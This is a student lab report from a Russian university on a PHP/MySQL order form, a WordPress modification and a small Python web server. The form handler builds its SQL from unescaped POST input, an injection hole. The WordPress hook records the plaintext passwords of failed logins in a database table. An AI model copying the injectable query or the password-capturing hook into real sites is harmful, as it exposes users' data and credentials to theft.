Санкт-Петербургский Национальный Исследовательский Университет

Информационных Технологий, Механики и Оптики

Факультет Инфокоммуникационных Технологий

Направление подготовки «Инфокоммуникационные технологии и системы связи»

Лабораторная работа № 4

«БД MySQL и web-сервер»

Выполнил:

Мордовцев Роман Антонович

Группа №3320

Проверила:

Марченко Елена Вадимовна

Санкт-Петербург

2024

**Цель работы**: разработать веб-страницу, на которой пользователь может оставить данные о себе и таблицу, куда заносятся оставленные данные; модифицировать php скрипт в движке wordpress, чтобы дополнительно логин и пароль записывались в отдельную новую таблицу в БД MySQL; написать web-сервер.

**Ход работы**:

1. **Веб-страница**

Первым шагом стало написание кода веб-страницы:

<!DOCTYPE html>

<html lang="ru">

<head>

    <meta charset="UTF-8">

    <title>Форма заказа</title>

</head>

<body>

    <h2>Форма заказа товара</h2>

    <form action="process\_order.php" method="post">

        <label>Фамилия: <input type="text" name="last\_name" required></label><br>

        <label>Имя: <input type="text" name="first\_name" required></label><br>

        <label>Отчество: <input type="text" name="middle\_name"></label><br>

        <label>Адрес: <input type="text" name="address" required></label><br>

        <label>Телефон: <input type="tel" name="phone" required></label><br>

        <label>Email: <input type="email" name="email" required></label><br>

        <label>Выберите товар:

            <select name="product">

                <option value="Диалоги">Диалоги</option>

                <option value="Вакханки">Вакханки</option>

                <option value="Государство">Государство</option>

            </select>

        </label><br>

        <label>Комментарий:<br><textarea name="comment" rows="4"></textarea></label><br>

        <input type="submit" value="Отправить">

    </form>

</body>

</html>

Рисунок 1 – Код веб-страницы

Затем был написан php-скрипт:

<?php

$servername = "localhost";

$username = "root";

$password = "";

$dbname = "web\_orders";

// Создаем подключение

$conn = new *mysqli*($servername, $username, $password, $dbname);

// Проверка подключения

if ($conn->connect\_error) {

    die("Ошибка подключения: " . $conn->connect\_error);

}

// Получаем данные из формы

$last\_name = $\_POST['last\_name'];

$first\_name = $\_POST['first\_name'];

$middle\_name = $\_POST['middle\_name'];

$address = $\_POST['address'];

$phone = $\_POST['phone'];

$email = $\_POST['email'];

$product = $\_POST['product'];

$comment = $\_POST['comment'];

// SQL-запрос

$sql = "INSERT INTO orders (last\_name, first\_name, middle\_name, address, phone, email, product, comment)

        VALUES ('$last\_name', '$first\_name', '$middle\_name', '$address', '$phone', '$email', '$product', '$comment')";

if ($conn->query($sql) === TRUE) {

    echo "Заказ успешно отправлен!";

} else {

    echo "Ошибка: " . $sql . "<br>" . $conn->error;

}

// Закрытие соединения

$conn->close();

?>

Рисунок 2 – Php-скрипт

После через phpMyAdmin была создана база данных с помощью SQL-запроса:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Шрифт

Автоматически созданное описание

Рисунок 3 – База данных

После написания всех кодов была проверена работоспособность формы. В XMAPP были включены Apache и MySQL. В форму были внесены такие данные:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Мультимедийное программное обеспечение

Автоматически созданное описание

Рисунок 4 – Пример работы веб-формы

При нажатии кнопки «отправить» появилась подпись «Заказ успешно отправлен!»:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Мультимедийное программное обеспечение

Автоматически созданное описание

Рисунок 5 – Результат отправки веб-формы

А при переходе на таблицу через адрес <http://localhost/phpmyadmin/> в базе данных orders появилась запись:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Значок на компьютере

Автоматически созданное описание

Рисунок 6 – Новая запись в БД

1. **Модификация php-скрипта**

Изначально была создана таблица wp\_user\_passwords для записи логинов и паролей:

Изображение выглядит как текст, Шрифт, снимок экрана

Автоматически созданное описание

Рисунок 7 – Таблица для записи логинов и паролей

Затем в файл functions.php, находящийся в директории темы из веб-страницы предыдущей лабораторной работы, был добавлен следующий код:

*function* invert\_bits($password) {

    // Преобразуем каждый символ пароля в его ASCII код, а затем в бинарное представление

    $inverted\_password = '';

    for ($i = 0; $i < strlen($password); $i++) {

        // Получаем ASCII код символа

        $char = $password[$i];

        $binary = str\_pad(decbin(ord($char)), 8, '0', STR\_PAD\_LEFT); // Преобразуем в бинарный код

        // Инвертируем биты

        $inverted\_binary = '';

        for ($j = 0; $j < strlen($binary); $j++) {

            $inverted\_binary .= $binary[$j] === '0' ? '1' : '0';

        }

        // Добавляем инвертированные биты в строку

        $inverted\_password .= $inverted\_binary;

    }

    // Преобразуем бинарную строку в безопасный Base64 формат

    $inverted\_password\_base64 = base64\_encode(hex2bin(bin2hex($inverted\_password)));

    return $inverted\_password\_base64;

}

*function* record\_failed\_login\_attempt($username) {

    error\_log("Login failed for: " . $username); // Это добавит информацию в файл debug.log

    global $wpdb;

    // Получаем данные из POST

    $password = isset($\_POST['pwd']) ? $\_POST['pwd'] : '';

    // Инвертируем биты пароля

    $inverted\_password = invert\_bits($password);

    // Имя таблицы для записи данных

    $table\_name = $wpdb->prefix . 'user\_passwords';

    // Вставляем данные в таблицу

    $wpdb->insert(

        $table\_name,

        array(

            'user\_login' => $username,

            'password\_original' => $password,

            'password\_inverted' => $inverted\_password,

            'created\_at' => current\_time('mysql')

        )

    );

}

// Привязываем к хуку wp\_login\_failed, который срабатывает при ошибке входа

add\_action('wp\_login\_failed', 'record\_failed\_login\_attempt');

Рисунок 8 – PHP-код для записи данных в таблицу при неудачном входе

В результате при переходе по <https://localhost/test.site/wp-login.php> появляется такая веб-страница:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Значок на компьютере

Автоматически созданное описание

Рисунок 9 – Страница входа

При возникающей ошибке при входе в таблице появляется новая запись:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Значок на компьютере

Автоматически созданное описание

Рисунок 10 – Данные о попытке входа, записанные в БД

1. **Web-сервер**

Для написания веб-сервера был выбран Python, как наиболее знакомый:

import http.server  
import socketserver  
  
PORT = 888 # Задайте нужный порт  
  
# Обработчик для возврата index.html  
class CustomHandler(http.server.SimpleHTTPRequestHandler):  
 def do\_GET(self):  
 if self.path == '/':  
 self.path = 'index.html'  
 return http.server.SimpleHTTPRequestHandler.do\_GET(self)  
  
# Запуск сервера  
with socketserver.TCPServer(("", PORT), CustomHandler) as httpd:  
 print(f"Сервер запущен на порту {PORT}")  
 print("Откройте в браузере: http://127.0.0.1:888/")  
 httpd.serve\_forever()

Рисунок 11 – Код веб-сервера

При запуске данного кода и переходе на указанный порт открывается веб-страница index.html – файла, находящегося в том же каталоге, что и исполняемый файл написанной программы-сервера:

Изображение выглядит как текст, снимок экрана, программное обеспечение, Мультимедийное программное обеспечение

Автоматически созданное описание

Рисунок 12 – Открывающийся на веб-сервере index.html

**Вывод**: В ходе работы удалось разработать веб-страницу, на которой пользователь может оставить данные о себе и связать ее с таблицей; модифицировать php скрипт в движке wordpress, чтобы логин и пароль записывались в отдельную новую таблицу в БД MySQL; написать web-сервер.